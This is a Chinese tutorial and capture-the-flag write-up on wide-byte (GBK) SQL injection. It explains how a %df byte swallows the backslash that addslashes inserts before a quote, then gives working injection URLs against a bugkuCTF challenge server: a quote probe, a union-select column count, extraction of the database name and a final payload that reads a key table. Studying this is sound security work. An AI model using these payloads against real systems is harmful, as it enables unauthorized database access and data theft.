SQL注入教程——(四)宽字节注入

前言

在mysql中,用于转义(即在字符串中的符号前加上”\”)的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。

涉及到的基本概念

  1. 字符、字符集
    字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。

  2. UTF8
    由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

  3. 宽字节
    GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

MYSQL的字符集转换过程

1.MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

2.进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

  • 使用每个数据字段的CHARACTER SET设定值;

  • 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);

  • 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

  • 若上述值不存在,则使用character_set_server设定值。

将操作结果从内部操作字符集转换为character_set_results。

重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。

宽字节注入原理:

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

简单的宽字节注入

以bugkuCTF练习平台的题目为例:
题目:sql注入
SQL注入教程——(四)宽字节注入_第1张图片

得知是以get方式通过参数id进行注入
andor语句进行注入点测试,无果

于是尝试宽字节注入:
http://103.238.227.13:10083/index.php?id=%df%27
SQL注入教程——(四)宽字节注入_第2张图片

确认是宽字节注入,进行列数测试,得知一共有两列,且1,2处都有回显:
http://103.238.227.13:10083/index.php?id=%df%27 union select 1,2%23
SQL注入教程——(四)宽字节注入_第3张图片

获取当前数据库名:
http://103.238.227.13:10083/index.php?id=%df%27 union select database(),2%23
SQL注入教程——(四)宽字节注入_第4张图片

根据题目构造payload:
http://103.238.227.13:10083/index.php?id=%df%27 union select string,2 from sql5.key where id=1%23
SQL注入教程——(四)宽字节注入_第5张图片

总结:
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。

你可能感兴趣的:(web安全,sql注入)